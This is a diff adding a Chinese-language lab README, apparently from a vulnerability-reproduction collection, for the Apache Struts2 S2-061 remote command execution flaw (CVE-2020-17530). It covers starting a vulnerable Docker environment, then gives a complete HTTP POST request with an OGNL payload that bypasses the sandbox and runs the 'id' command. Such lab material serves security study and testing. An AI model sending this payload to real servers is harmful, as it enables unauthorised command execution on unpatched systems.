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struts2/s2-061/README.zh-cn.md

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+# Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530）
+
+S2-061是对S2-059的绕过，Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒，而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
+
+参考链接：
+
+- https://cwiki.apache.org/confluence/display/WW/S2-061
+- https://github.com/ka1n4t/CVE-2020-17530
+- https://www.anquanke.com/post/id/225252
+- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
+
+## 漏洞环境
+
+执行如下命令启动一个Struts2 2.5.25版本环境：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://target-ip:8080/index.action`查看到首页。
+
+## 漏洞复现
+
+发送如下数据包，即可执行`id`命令：
+
+```
+POST /index.action HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
+Content-Length: 829
+
+------WebKitFormBoundaryl7d1B1aGsV2wcZwF
+Content-Disposition: form-data; name="id"
+
+%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
+------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
+```
+
+可见，`id`命令返回结果将直接显示在页面中：
+
+![](1.png)